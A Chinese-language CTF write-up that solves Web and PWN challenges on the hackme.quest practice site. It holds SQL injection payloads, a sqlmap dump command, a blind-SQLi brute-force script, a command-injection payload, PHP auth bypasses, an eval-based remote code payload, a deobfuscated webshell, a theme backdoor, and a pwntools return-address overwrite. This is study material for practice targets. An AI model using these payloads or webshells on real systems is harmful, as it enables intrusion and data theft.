---
tags: CTF
---
# hackme writeup
題目網站:
https://ctf.hackme.quest/
ID: hungkiller
這篇記錄我在Hackme CTF上的解題過程,其中部分不會解的題目是參考其他人的解法,再順過一次解題思路。
[參考1 - maple3142](https://blog.maple3142.net/2020/07/23/hackme-ctf-experience-and-hints/#login-as-admin-1)
[參考2 - Zero871015](https://hackmd.io/@Zero871015/Hackme#20-scoreboard)
# Web
## [Web]15. hide and seek
![](https://i.imgur.com/JoCMW0E.png)
在source code中 找到FLAG
## [Web]16. Guestbook
題目是一個簡單的留言版功能
![](https://i.imgur.com/XtEFJeP.png)
在New Post中可以留言
![](https://i.imgur.com/iMXuDCQ.png)
並且在Message List裡可以觀看留言
![](https://i.imgur.com/72Uzayg.png)
對id進行SQL injection
```
https://ctf.hackme.quest/gb/?mod=read&id=99999+or+1=1;--+
```
![](https://i.imgur.com/chxoqp3.png)
確定可以植入SQL injection後
利用sqlmap送出封包, 並且在資料庫找到FLAG
```
GET /gb/?mod=read&id=1044* HTTP/2
Host: ctf.hackme.quest
Cookie: _ga=GA1.2.1354766314.1673508987; _gid=GA1.2.1482760230.1673508987
Sec-Ch-Ua: ";Not A Brand";v="99", "Chromium";v="94"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
```
Note: 要用HTTPS送封包
Payload:
```
sqlmap -r row.txt --dbs --force-ssl -D g8 -T flag -C "flag, id, padding0, padding1" --dump
```
![](https://i.imgur.com/hscfx2Q.png)
## [Web]17. LFI
題目是一個簡單的網站
https://ctf.hackme.quest/lfi/?page=pages/index
![](https://i.imgur.com/Ht27JOK.png)
https://ctf.hackme.quest/lfi/?page=pages/intro
![](https://i.imgur.com/Q22dhNs.png)
https://ctf.hackme.quest/lfi/?page=pages/login
![](https://i.imgur.com/9ga19Bt.png)
在source中發現提示
![](https://i.imgur.com/bdDjGO3.png)
但也沒有flag
![](https://i.imgur.com/b9u83F5.png)
根據題目一開始的提示 php://filter
用php的偽協定來讀取source code
https://ctf.hackme.quest/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
讀到base64轉換後的原始碼
![](https://i.imgur.com/VrCVNZl.png)
```
Can you read the flag<?php require('config.php'); ?>?
```
但不論怎麼嘗試都讀不到config.php這個檔案
於是用一樣的方式讀取login的sourece code
```lau=php
<?php
require('config.php');
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
echo $flag;
} else {
?>
<form action="?page=pages/login" method="post" role="form">
<div class="form-group">
<label for="user-i">User</label>
<input type="text" class="form-control" id="user-i" placeholder="Username" name="user">
</div>
<div class="form-group">
<label for="pass-i">Password</label>
<input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass">
</div>
<button type="submit" class="btn btn-primary">Login</button>
</form>
<?php }?>
```
發現admin的密碼md5加密後的密文, 於是透過碰撞, 得到密碼
![](https://i.imgur.com/nVCqZJF.png)
登入後得到flag~
![](https://i.imgur.com/9QuU5uS.png)
## [Web]18. homepage
題目就是Home page本身
在Source code的地方,發現cute.js
![](https://i.imgur.com/rfbqzho.png)
但發現它的內容是一堆emoji
![](https://i.imgur.com/aRGbadU.png)
搜尋之後發現這是一種加密演算法叫aaencode,[Decode工具解開](http://www.atoolbox.net/Tool.php?Id=703)
```lua=javascript
function print_qrcode(qrcode, color, fill) {
var args = [];
var buff = [];
for (var i = 0; i < qrcode.length; i++) {
var row = qrcode[i];
for (var j = 0; j < qrcode[0].length; j++) {
buff.push("%c\u2588\u2588");
args.push("color:" + ("1" == row[j] ? color : fill));
}
buff.push("\n");
}
args.unshift(buff.join(""));
console.log.apply(console, args);
}
var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001",
"00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"];
print_qrcode(qrcode, "#333", "#fff");
```
看起來是console會print一個QRcode出來,於是在Home page打開console
![](https://i.imgur.com/2KXztTC.png)
用手機掃這個QRcode後,就可以得到FLAG!
> FLAG{Oh, You found me!!!!!! Yeeeeeeee.}
[aaencode原理](https://blog.techbridge.cc/2016/07/16/javascript-jsfuck-and-aaencode/)
## [Web]19. ping
![](https://i.imgur.com/qFn8WG3.png)
題目就是一個簡單的ping功能,看起來我們要透過command injection,來讀取flag
[2>&1用法](https://mks.tw/2928/%E5%AD%B8%E7%BF%92%E7%AD%86%E8%A8%98-linux-command-%E3%80%8C21%E3%80%8D-%E8%BC%95%E9%AC%86%E8%AB%87)
由於我們沒辦法透過";"截斷指令,所以不能直接做指令串接
但透過嘗試發現當我們ping不存在的主機時,我們還是可以看到錯誤訊息
![](https://i.imgur.com/V53pgFx.png)
所以我們可以將指令插在這邊,讓指令執行出來的結果,變成ping的ip。
![](https://i.imgur.com/deHMVv9.png)
接著由於題目過濾了cat,所以用head代替
(題目也過濾了 flag、php)
於是Payload變成
> \`head *\`
GET FLAG!
![](https://i.imgur.com/eZaqSk0.png)
## [Web]20. scoreboard
![](https://i.imgur.com/6XVdmNO.png)
在Response Header找到FLAG
## [Web]21. Login As Admin 0
題目是一個登入的入口
![](https://i.imgur.com/gNPTWP4.png)
![](https://i.imgur.com/Jjy0qUL.png)
目標是要繞過登入,用Admin登入
![](https://i.imgur.com/TDuOJqt.png)
題目會把替換掉"\'",改成"\\'"
所以我們可以用"\\'",這樣經過替換後就會變成"\\\\'"
如此以來"\\"就會被當成一般字串,單引號就可以完成閉合。
Payload:
```
\'or+2=2 limit 1,1;--+
```
![](https://i.imgur.com/1BljmCw.png)
## [Web]22. login as admin 0.1
在前一題的登入口,挖出FLAG 2
透過UNION test,先測試有幾個欄位、哪個欄位的結果可以顯示在前端
再把資料表的內容印出來
Payload:
```
查詢資料表名稱:
\'or 2=1 union select NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema= database() limit 0,1;--+
```
![](https://i.imgur.com/sAoa781.png)
發現有個資料表叫h1dden_f14g
Payload:
```
\'or 2=1 union select NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name = "h1dden_f14g" limit 0,1;--+
```
![](https://i.imgur.com/bwyMBfi.png)
這張表就一個欄位~
GET FLAG!
```
\'or 2=1 union select NULL,the_f14g,NULL,NULL FROM h1dden_f14g limit 0,1;--+
```
![](https://i.imgur.com/h4oGdPR.png)
## [Web]23. login as admin 1
這次題目濾掉了空白、union、select
用"/\*\*/"取代空白即可!
Payload:
```
\'or/**/2=2/**/limit/**/1,1;#
```
![](https://i.imgur.com/IhWa7Id.png)
## [Web]24. login as admin 1.2
跟前一題一樣,FLAG藏在資料庫中,但這次沒有辦法透過union顯示出搜尋結果了
所以只能透過Boolean SQL的方式,猜到FLAG
1. 設計可以插入條件的Paylaod:
```
\'or/**/IF(500<1000,2,1)=2;#
```
![](https://i.imgur.com/1SZylvj.png)
條件為真
```
\'or/**/IF(500>1000,2,1)=2;#
```
![](https://i.imgur.com/tfzuBWk.png)
條件為假
2. 有了可以測試條件的Payload,透過Boolean SQL的方式,分別對資料表名稱、欄位名稱進行爆破。
Note: 爆破時可以先用Burp手動測試長度,再寫Python爆破內容。
爆破資料表名稱長度 Payload:
```
\'or/**/IF(LENGTH((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1))<60,2,1)=2;#
```
爆破內容的Python code:
```lua=python
import requests
import string
# 16進制字元
# print(string.hexdigits)
# string.printable
url = "https://ctf.hackme.quest/login1/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'}
cookies = {
'_ga': 'GA1.2.1354766314.1673508987',
'session_guard': 'kq9cv4nhus62qvp31aq639rcuq',
'session': 'SESSION.RZ2XENhuIHexrE1Ty6mq0w31jY%2Fy2zPeL0i7pWZW%2Bdt5tW8BZyaWpO5K90KUjbqLRP3N%2BnxBu3Q9zlo7bUa8qg%3D%3D..1674112786',
'_gid': 'GA1.2.1189176949.1673853587'
}
proxies = {
'https': 'http://127.0.0.1:8080',
}
dir = [chr(i) for i in range(ord('a'), ord('z')+1)] + [chr(i)
for i in range(ord('A'), ord('Z')+1)] + [chr(i) for i in range(ord('0'), ord('9')+1)] + ['@', '.', '_', '-', '+', '=', '<', '>', '/', '?', '|', '\\', '{', '}']
target_string = '<h4>You are not admin!</h4>'
pw = ''
miss_char = []
try:
for i in range(1, 67):
print("Start test No.{} char".format(i))
bit = ''
for j in range(1, 256):
name = f"\\'or/**/IF(ord(mid((select/**/4a391a11cfa831ca740cf8d00782f3a6/**/from/**/0bdb54c98123f5526ccaed982d2006a9),{i},1))={j},2,1)=2;#"
password = "guest"
response = requests.post(
url, data={'name': name, 'password': password})
if target_string in response.text:
print(i, j)
pw = pw + chr(j)
break
except:
pass
print("FLAG:", pw)
# table_name = 0bdb54c98123f5526ccaed982d2006a9
# column_name = 4a391a11cfa831ca740cf8d00782f3a6
```
![](https://i.imgur.com/VUREscw.png)
## [Web]25. login as admin 3
![](https://i.imgur.com/tszGgN5.png)
題目內, 如果我們可以控制admin則可以得到flag。
而admin是序列化後存在我們的Session中
![](https://i.imgur.com/LUf09Sp.png)
題目透過Sig來檢測,我們的Session是否合法。
但由於Sig是由data、Secret key做出來的,我們不知道Secret key
所以沒辦法製造出合法的Session
因此目標是我們要繞過
```
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'])
```
如果繞過了, 我們就可以隨意的控制name, admin的值
Note: 這題是[PHP weak compare](https://www.php.net/manual/en/types.comparisons.php)的題目,但PHP 8.0.0之後的版本,已經修掉這個特性了。
![](https://i.imgur.com/Ob8RXLj.png)
![](https://i.imgur.com/9dRDuCy.png)
控制sig的值為0,而由於PHPweak compare的特性
> 0 == 'string' #True
以此繞過Session的合法性檢測
用生成出來的Session,就可以成功Get Flag了!
![](https://i.imgur.com/A0orHr1.png)
## [Web]26. login as admin 4
![](https://i.imgur.com/IhsvnuV.png)
在Source code中,可以發現如果輸入錯誤密碼,會發生跳轉
但在下面的程式碼裡,我們可以發現只要透過Post傳入name=admin,就可以看到FLAG了。
![](https://i.imgur.com/OhQZze6.png)
於是把登入的封包攔下來,就可以看到FLAG在跳轉前,就顯示出來了。
![](https://i.imgur.com/J9Fy6L2.png)
## [Web]27. login as admin 6
題目會將登入的資料,轉成JSON格式傳送
![](https://i.imgur.com/w1Nrb6L.png)
並且會透過extract解析JSON內容
![](https://i.imgur.com/eapwWCg.png)
extract可以透過JSON格式來構建變數的內容,但如果重複出現的變數,值會被蓋過去。
![](https://i.imgur.com/61LdzEm.png)
eg.
```
<?php
$a = 1;
echo $a;
$ar = [
'a' => 3
];
extract($ar);
echo $a;
?>
```
Result:
> 13
透過這個特性,我們更改登入時JSON的內容,蓋掉user的內容,就可以GET FLAG!
![](https://i.imgur.com/cypFI3M.png)
## [Web]28. login as admin 7
這次也是weak compare的題目,但這次兩邊都是字串
![](https://i.imgur.com/42SNl6B.png)
參考[這篇](https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo)Stack overflow的討論
當今天的string的內容為科學記號(0e開頭後面都是數字),則與"0"運算的結果是true。
用md5後為科學記號的密碼登入,即可GET FLAG!
![](https://i.imgur.com/P7RDpTp.png)
## [Web]31. dafuq-manager 1
登入之後發現cookie裡有個show_hidden
改成Yes之後就成功GET FLAG了!
![](https://i.imgur.com/7TNTfT7.png)
## [Web]32. dafuq-manager 2
> Try to login as admin! and you will get flag2
把Source code載下來後,開始找Login是怎麼寫的
.core/login.php 發現了處理users的程式
![](https://i.imgur.com/pYulGR7.png)
.config/fun_users 發現user的資料都是存在.htusers.php裡
![](https://i.imgur.com/KQv62ZK.png)
結合fun_users裡的activate_user函式、.htusers.php的內容
activate_user負責撈user的資訊
![](https://i.imgur.com/e5K8iBb.png)
.htuser.php儲存user的資訊
![](https://i.imgur.com/TJpamwB.png)
所以目標就是得到.htusers.php的內容
在index.php中發現可以更改原始碼的功能
![](https://i.imgur.com/GO0Yf7d.png)
.core/fun_edit.php中發現有些看不看的到檔案的條件,其中是get_show_item這個函式在處理的。
![](https://i.imgur.com/82FJPGl.png)
.core/fun_extra.php中找到get_show_item函式,並發現它也是負責處理第一題的函式。
當item的開頭是 . 且$_cookie\['show_hidden'\] 不等於yes時,會回傳 FALSE 觸發 edit_file 裡的 Error。
![](https://i.imgur.com/vgnSs6x.png)
此時我們可以透過edit這個功能LFI,但還不知道.htusers.php的檔案路徑
data/guest/index.html
![](https://i.imgur.com/6aIcrh6.png)
內容跟我們用guest登入後,看到的index.html一致,表示我們現在正在這個資料夾底下。
透過LFI即可下載.htusers.php
![](https://i.imgur.com/ptsP5i1.png)
Note:這邊想要避開get_show_item的過濾,可以透過改cookie,也可以在item的開頭加一個/。 (linux的路徑會忽略那個斜線)
得到admin的帳號跟hash後的密碼,接著用[md5碰撞的網站](https://crackstation.net/)搜尋明文,就可以登入GET FLAG了。
## [Web]33. dafuq-manager 3
> For flag3, you need a shell to get that. see $WEBROOT/flag3!
> \#這題是將Mapple的write up重現一次,並以更長的篇幅描述細節
目標是要Get shell,所以直接搜尋Source code中有exec的地方,發現了debug.php
![](https://i.imgur.com/51HUfQs.png)
```lua=php=
<?php
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}
```
我們的目標是透過21行的指令,eval($cmd)來get shell。
首先我們得繞過第9行的限制 dir不能為空也不能不是一個路徑, 不然會觸發init.php中的error。
![](https://i.imgur.com/GbkV7zU.png)
可以透過dir[]=1的方式,來Bypass這部分的判斷。
> https://dafuq-manager.hackme.quest/index.php?action=debug&&dir[]=0
![](https://i.imgur.com/gyRvICs.png)
12~19行是對\$command做處理還原\$cmd、\$hmac,並比對$cmd的合法性。
其中\$command是由 make_command生成的,其中先由\$cmd跟\$sec做hash後得到\$hmac,在將\$cmd經由base64 encode後,跟\$hmac串接而來。
```lua=php
<?php
function make_command($cmd) {
$sec = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
$hmac = hash_hmac('sha256', $cmd, $sec);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
#find target file
#echo make_command('var_dump(scandir("/var/www/webhdisk/flag3"));');
#check make file
#echo make_command('echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/Makefile")."</pre>";');
#get flag
echo make_command('$a="ex";$b="ec";$e=$a.$b;echo $e("cd /var/www/webhdisk/flag3/ && ./meow flag3");');
?>
```
透過題目給的make_command製作出我們的payload,即可get shell。
($sec 可以在檔案中search,在conf.php裡)
> https://dafuq-manager.hackme.quest/index.php?action=debug&dir[]=1&command=JGE9ImV4IjskYj0iZWMiOyRlPSRhLiRiO2VjaG8gJGUoImNkIC92YXIvd3d3L3dlYmhkaXNrL2ZsYWczLyAmJiAuL21lb3cgZmxhZzMiKTs=.cbb43a1f1f3b145f7d0eb1e0fbf6fd0c4788bfb6a6ee4b233d44c5721e870523
![](https://i.imgur.com/ZO0VDEW.png)
## [Web]34. wordpress 1
https://wp.hackme.quest/archives/96
題目是一個Blog,在文章列表中發現Backup File,載來看後Search flag,會發現core.php裡面有一個外掛的function print_f14g()。
```lua=php=
<?php
/**
* @package f14gPrinter
* @version 3.1415926
*/
/*
Plugin Name: Super f14g Printer
Plugin URI: https://game2.security.ntu.st
Description: This plugin can print f14g1 for you if you know the password!
Author: Inndy Lin
Version: 3.1415926
Author URI: https://inndy.tw
*/
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0);
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}
add_action('wp_head', 'print_f14g');
```
[md5破解工具](https://www.md5online.org/md5-decrypt.html)
![](https://i.imgur.com/n3ULzli.png)
直接送出密碼看看能不能get flag
> https://wp.hackme.quest/?passw0rd=cat%20flag
![](https://i.imgur.com/XLrNDse.png)
發現18行會辨識IP,於是找找看wp_get_user_ip()是怎麼寫的
在function.php裡
```lua=php
/**
* Try to get user's IP
*
* @since 0.87
*
* @return string User's IP
*/
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}
```
在封包裡加入HTTP_X_FORWARDED_FOR的header
![](https://i.imgur.com/QGthn27.png)
> FLAG{Hello, You found my secret flag plugin! Try to found backdoor in my theme :D}
## [Web]35. wordpress 2
根據上一題Flag的提示,下一題的目標是要找到theme裡的後門並且利用。
在2013/10月的文章裡,會發現一篇叫FLAG2的文章,但文章有密碼不能直接看到。
利用wp-content/themes/astrid/template-parts/content-search.php中,設計好的後門,來讀取文章的內容
```lua=php=
<?php
/**
* Template part for displaying results in search pages.
*
* @link https://codex.wordpress.org/Template_Hierarchy
*
* @package Astrid
*/
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<header class="entry-header">
<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
<?php if ( 'post' === get_post_type() ) : ?>
<div class="entry-meta">
<?php astrid_posted_on(); ?>
</div><!-- .entry-meta -->
<?php endif; ?>
</header><!-- .entry-header -->
<div class="entry-summary">
<?php the_excerpt(); ?>
</div><!-- .entry-summary -->
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->
<footer class="entry-footer">
<?php astrid_entry_footer(); ?>
</footer><!-- .entry-footer -->
</article><!-- #post-## -->
```
其中第25行 $wp_query->post->是wordpress設計來可以讀取文章屬性的用法。
例如:
> $wp_query->post->post_password #可以取得文章的密碼
> $wp_query->post->post_content #可以取得文章的內容
> [WP_Post {} document](https://developer.wordpress.org/reference/classes/wp_post/#source)
![](https://i.imgur.com/TpLYV3j.png)
後面$_GET['debug']是我們可控的。
這行的寫法比較複雜,可以參考Mapple找到的這兩篇文章
[php ->{}的語法](https://stackoverflow.com/questions/1147937/php-curly-brace-syntax-for-member-variable)、[php ?:替代 if](https://stackoverflow.com/questions/6277222/php-shorthand-ternary-operator-parse-error-unexpected)
於是我們要透過?debug=content來取得文章的內容,但直接送出時會發現沒有反應,這時就要思考如何讓content-search.php被include。
直接搜尋content-search.php,會發現search.php中有呼叫它。(get_template_part的地方)
![](https://i.imgur.com/goFQBwK.png)
general-template.php 中的function get_template_part()
![](https://i.imgur.com/mjQgvdF.png)
而search.php中的描述也是,這是處理search頁面的功能。
所以當我們使用search的功能時,再加上debug參數,就能用這個後門讀取到文章的各種參數了。
> view-source:https://wp.hackme.quest/archives/date/2013/10?s=&debug=content
![](https://i.imgur.com/P0qoaj5.png)
(也可以讀取password,再用密碼解鎖文章得到FLAG)
## [Web]36. webshell
```php
<?php
$cation = "St\x72\x5fr\x4ft\x313";
$e_obfus="b\x41Se\x364\x5f\x44e\x43ode";
$e_cod = "g\x5ainfl\x41t\x45";
$sourc = "St\x72\x72\x45v";
@eval ($sourc($e_cod($e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3VqwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmSH4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3IqTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsMnk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gxcLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltXsF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYeA8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHiSTW8OO9t13k2/7r+He8BfU")))));
```
將變數們用echo印出來
> $cation: Str_rOt13
> $e_obfus: bASe64_DeCode
> $e_cod: gZinflAtE
> $sourc: StrrEv
發現就是一連串的函數組合在一起
於是把eval改成echo 看看結果是甚麼
```php
function run() {
if(isset($_GET['cmd']) && isset($_GET['sig'])) {
#cmd = SHA512(ip) ^ $_GET['cmd']
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['cmd'];
#key = ip . hostname
$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);
#sig = SHA512(SHA512(ip) ^ $_GET['cmd'] .key)
$sig = hash_hmac('SHA512', $cmd, $key);
if($sig === (string)$_GET['sig']) {
header('Content-Type: text/plain');
return !!system($cmd);
}
}
return false;
}
function fuck() {
print(str_repeat("\n", 4096));
readfile($_SERVER['SCRIPT_FILENAME']);
}
run() ?: fuck();
```
# PWN
## homework
在題目給的原始碼中,發現有個函數裡面有shell
![](https://i.imgur.com/ulcepKT.png)
於是透過gdb找到這個函數的addr
![](https://i.imgur.com/pPVGgvW.png)
思路:接著只要在題目中找到可以蓋掉eip的地方,就可以把eip蓋成call_me_maybe的記憶體位置,拿到shell
發現main裡面,run_program的下一個指令記憶體位置是0x080488b1
![](https://i.imgur.com/bINWmxe.png)
所以在run_program裡設個斷點,在看看0x080488b1被存在記憶體的哪邊,就可以找到run_program結束後,要寫回EIP的記憶體位置
```
x/40wx 0xffffd050
```
![](https://i.imgur.com/1gLgg4v.png)
然後發現題目有可以指定寫入記憶體位置的地方
![](https://i.imgur.com/nvFjFjB.png)
利用這個功能先寫入0x05f5e0ff(99999999)在記憶體
看看被存在stack的哪裡
![](https://i.imgur.com/1lMMvjl.png)
透過計算他們的相對位置,我們的目標0x080488b1,在arr[0]的後14個word,所以offset = 14
```lua=python
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#io = process("./homework")
io = remote("ctf.hackme.quest", 7701)
#Input Name
io.recvuntil("name? ")
io.sendline("xxx")
#overwrite return address
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("edit: ")
io.sendline("14")
io.recvuntil("How many? ")
system_addr = 0x080485FB
io.sendline(str(system_addr))
#exit
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("0")
io.interactive()
```